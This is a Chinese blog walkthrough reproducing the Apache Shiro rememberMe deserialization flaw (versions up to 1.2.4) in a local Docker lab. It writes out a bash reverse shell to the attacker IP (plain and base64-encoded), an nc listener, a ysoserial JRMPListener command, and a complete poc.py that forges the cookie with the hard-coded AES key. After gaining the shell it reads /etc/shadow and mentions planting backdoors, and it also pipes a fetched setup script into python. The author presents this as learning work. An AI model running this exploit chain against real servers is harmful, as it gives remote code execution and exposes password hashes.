赞
踩
原理解释https://www.freebuf.com/vuls/178014.html
什么是硬编码:
硬编码要求程序的源代码在输入数据或所需格式发生变化时进行更改,以便最终用户可以通过程序外的某种方式更改细节。
http 请求包 cookie 中的 rememberMe 参数。
该漏洞对shiro<=1.2.4的版本有影响。
靶机:192.168.43.132
攻击机:192.168.43.131
docker pull medicean/vulapps:s_shiro_1
重启docker
systemctl restart docker
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
访问: http://192.168.43.132:8081 / 环境搭建成功
ysoserial的jar文件
依次执行以下命令(jar的文件名要和脚本中的一样,文件要和脚本在同一目录下)
git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -DskipTests
如果出现一下情况的话,是没有安装maven的。【解决mvn command not found:下一个就好了】
linux安装maven
转载:https://www.cnblogs.com/yuexiaoyun/articles/13033946.html
1、安装 wget 命令:
yum -y install wget
【如果提示yum command not found的话,别理他,这是安装wget命令,一般我们的都已经安装好了】
2、下载maven安装包
wget http://mirrors.cnnic.cn/apache/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz
3.解压maven安装包
tar -zxvf apache-maven-3.5.4-bin.tar.gz
4.配置maven:
vim /etc/profile
在配置文件配置中加上:
export MAVEN_HOME=/root/apache-maven-3.5.4 (这个目录换成你的 maven 解压后的文件所在目录)
export PATH=$MAVEN_HOME/bin:$PATH
让文件生效,刷新配置文件 :
source /etc/profile
5.查看maven 版本:
mvn -version # 或者 mvn -v
现在的话mvn已经可以在/etc/profile这个文件里面操作。
关键要在source /etc/profile里面进入ysoserial这个目录
cd ysoserial
mvn package -DskipTests
这样就可以了
现在就解决了mvn command not found的情况。
转载:http://www.jackson-t.ca/runtime-exec-payloads.html
攻击机:192.168.43.131
bash -i >& /dev/tcp/192.168.43.131/999 0>&1
999端口是监听反弹端口(nc -lvnp 999)
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1001 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjEzMS85OTkgMD4mMQ==}|{base64,-d}|{bash,-i}'
【 ' ' 里面的是刚刚bash编码】
一定要进入ysoserial的target里面,因为要用到target里面的ysoserial-0.0.6-SNAPSHOT-all.jar
python poc.py 192.168.43.131:1001
【把poc.py也放在/ysoserial/target里面执行】
poc.py代码
- import sys
- import uuid
- import base64
- import subprocess
- from Crypto.Cipher import AES
-
- def encode_rememberme(command):
-
- popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
- BS = AES.block_size
- pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
- key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
- iv = uuid.uuid4().bytes
- encryptor = AES.new(key, AES.MODE_CBC, iv)
- file_body = pad(popen.stdout.read())
- base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
- return base64_ciphertext
-
-
- if __name__ == '__main__':
- payload = encode_rememberme(sys.argv[1])
- print "rememberMe={0}".format(payload.decode())
![](https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png)
如果出现下面的这种情况,【Crypto.Cipher import AES ImportError】
用easy_install安装pycrypto:
easy_install pycrypto-2.6.tar.gz
转载:https://blog.csdn.net/feier7501/article/details/9265551
这里提示easy_install:command not found 【那就下一个】
用wget下载:
wget https://bootstrap.pypa.io/ez_setup.py -O - | python
转载:https://blog.csdn.net/chenji9967/article/details/100623972
然后就可以用easy_install
又出现了新的问题 。【找不到这个pycrypto-2.6.tar.gz,那就换一个再试】
还是用easy_install 下载:
easy_install pycrypto
转载:https://blog.csdn.net/weixin_34327223/article/details/92066493
这里就报错了
error: Setup script exited with error: command 'x86_64-linux-gnu-gcc' failed with exit status 1
上网搜了一下资料也是找到了解决的办法。
安装好python环境之后顺便安装对应版本的dev:
sudo apt-get install python-dev python3-dev
继续用easy_install 下载:
easy_install pycrypto
用poc.py生成rememberMe
终于成功啦。【哭死了,好辛苦啊】
nc -lvnp 999
开启kali里面的burpsuit。
用浏览器打开,填写提供的Usename Password , 记住一定要勾选Remember Me。
抓登录界面的包。
用刚刚构造的rememberMe,放到jsessionid后面
这个时候nc的反弹shell就过来了
思考了一下,得到这个tmp下的root权限又能干什么,自己就玩了一下。
1.目录的一个遍历
2.cat /etc/shadow
3.发现这个只是读写的root权限,应该有本地提权的一些办法得到更高的权限,有了读写的权限,后门木马都可以随便放。
小结:虽然这次漏洞的复现并不是很难理解,但是网上有很多的东西都没有说明白,讲清楚或者没有遇到的问题,当自己操作起来就会发现很多bug,一个一个找,对于新手来说比较的困难,所以我就做了一个比较详细的漏洞复现。
因为自己是一个比较容易放弃的人,很高兴在面对很多困难的时候没有第一时间的放弃,最后成功的复现。
作为一个东软的大三的学生,今年对咱们大三的学生不太友好,现在是凌晨00:45我还在这里唠叨,接下来就是准备复习面试的知识,找实习工作出来打工,祝愿自己找到一份满意的工作,身体健康,早点脱单【这个有点难度哈】。
希望看过此贴的人都能够——
在试炼的终点是花开万里,愿你起程渺小,结尾壮大。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。